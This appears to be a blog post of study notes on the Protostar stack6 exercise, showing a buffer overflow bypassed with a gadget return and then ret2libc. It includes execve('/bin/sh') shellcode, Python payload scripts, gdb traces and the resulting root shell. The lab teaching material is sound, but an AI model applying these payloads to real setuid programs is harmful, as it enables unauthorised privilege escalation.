Security_RNRF

0x15. 본문

LiveOverFlow/Binary

0x15.

RNRF 2021. 11. 3. 00:50

15. Doing ret2libc with a Buffer Overflow because of restricted return pointer - bin.0x0F

: Content
-> Gadget
-> ret2libc
-> Find string in libc



: stack6(C code)(/opt/protostar/bin/stack6)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); 
  fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
-> builtin_return_address() - A function provided by the compiler, the current return address of the stack.
-> exit() - Because "exit(") is simply a "syscall" that terminates the program, even if the return pointer is smashed, this function will not be returned. It serves as a safety device.

: Let's test the function by adjusting the padding.
-> cp exploit.py stack6.py
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload
-> python stack6.py | /opt/protostar/bin/stack6
-> input path please: bzzzt (0xbffff7de) # Fail…

Tips. Buffer overflows are not necessarily something you can do.

: gdb /opt/protostar/bin/stack6
-> set disassembly-flavor intel
-> break *getpath
-> r
-> info proc map
-> process 3453
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fe0000 0xb7fe2000     0x2000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
-> info registers
eax            0xbffff874       -1073743756
ecx            0xc280b010       -1031753712
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7bc       0xbffff7bc
ebp            0xbffff7c8       0xbffff7c8
esi            0x0      0
edi            0x0      0
eip            0x8048484        0x8048484 <getpath>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

-> You can see that only addresses starting with "bf" are in the stack. Therefore, it is not possible to return to the stack address by default.
-> How can we execute the code if we can't go back to the stack?
-> disassemble getpath
-> Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:        mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    eax,ds:0x8049720
0x0804849c <getpath+24>:        mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:        mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
0x080484af <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:        and    eax,0xbf000000
0x080484bd <getpath+57>:        cmp    eax,0xbf000000
0x080484c2 <getpath+62>:        jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:        mov    eax,0x80485e4
0x080484c9 <getpath+69>:        mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:        mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:        mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:        call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:        mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:        call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:        mov    eax,0x80485f0
0x080484e9 <getpath+101>:       lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:       mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:       mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:       call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:       leave
0x080484f9 <getpath+117>:       ret
End of assembler dump.

: Modify the code so that it reaches "ret" in "getpath".
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
ret = struct.pack("I", 0x080484f9)
trap = "\xCC"*100
print padding + ret + eip + trap
-> python stack6.py > stack6
-> gdb /opt/protostar/bin/stack6
-> set disassembly-flavor intel
-> break *0x080484f9
-> r < /tmp/stack6
-> Starting program: /opt/protostar/bin/stack6 < /tmp/stack6
input path please: got path 0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOQQQQRRRRSSSS▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
-> x/4wx $esp
0xbffff7bc:     0x080484f9      0xbffff7de      0xcccccccc      0xcccccccc
-> si
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      in stack6/stack6.c
-> x/4wx $esp
0xbffff7c0:     0xbffff7de      0xcccccccc      0xcccccccc      0xcccccccc
-> c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7df in ?? ()

: This address we have jumped (0x080) is “Godget”.
-> Usually when we do this kind of work, we'll say "go around" or "jump."
-> Because I execute a return command, but I don't go back to the original function.

: You can go back to the giant library "libc," as you've just returned to some code.
-> One of the interesting features of "libc" is "system."
-> gdb /opt/protostar/bin/stack6
-> r
-> Ctrl+C
-> p system
-> $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
-> But simply returning to it probably won't work.
-> Some things need to be controlled.
-> Let's create a simple C program that calls the "libc" system.
-> vim sys.c
#include <stdlib.h>
void main(){
        system("/bin/sh");
}
-> gcc sys.c -o sys
-> Can see the address of the order to run before calling the system.
-> gdb sys
-> set disassembly-flavor intel
-> disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x10
0x080483cd <main+9>:    mov    DWORD PTR [esp],0x80484a0
0x080483d4 <main+16>:   call   0x80482ec <system@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
-> x/s 0x80484a0
0x80484a0:       "/bin/sh"
-> Pushes onto the stack a return address, calling the function.

: First, you must put the system's return address into the stack.
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system = struct.pack("I", 0xb7ecffb0)
return_after_system = "AAAA"
bin_sh = "????"
print padding + system + return_after_system + bin_sh
-> gdb /opt/protostar/bin/stack6
-> r
-> Ctrl+C
-> info proc map
process 3670
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
-> You can use "find" to search for strings in mapped "libc" memory.
-> find 0xb7e97000, +9999999, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
-> You can now find "/bin/sh" at this address.
-> Let's make sure it's true.
-> x/s 0xb7fba23f
0xb7fba23f:      "KIND in __gen_tempname\""
-> Fail…

: Then, let's use a different technique.
-> You can use "strings" to find all the strings in "libc".
-> strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
 11f3bf /bin/sh
-> x/s 0xb7e97000+0x11f3bf
0xb7fb63bf:      "/bin/sh"
-> Modify "stack6.py" code a little.
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system = struct.pack("I", 0xb7ecffb0)
return_after_system = "AAAA"
bin_sh = struct.pack("I", 0xb7fb63bf)
print padding + system + return_after_system + bin_sh
-> (python stack6.py; cat) | /opt/protostar/bin/stack6
input path please: got path 0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO▒▒▒QQQQRRRRSSSS▒▒▒AAAA▒c▒
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
-> Clear!

: The technique I just used is "ret2libc."
-> We didn't execute any code in the stack.

'LiveOverFlow > Binary' 카테고리의 다른 글

0x17.  (0) 2021.11.03
0x16.  (0) 2021.11.03
0x14.  (0) 2021.11.03
0x13.  (0) 2021.11.03
0x12.  (0) 2021.11.03
Comments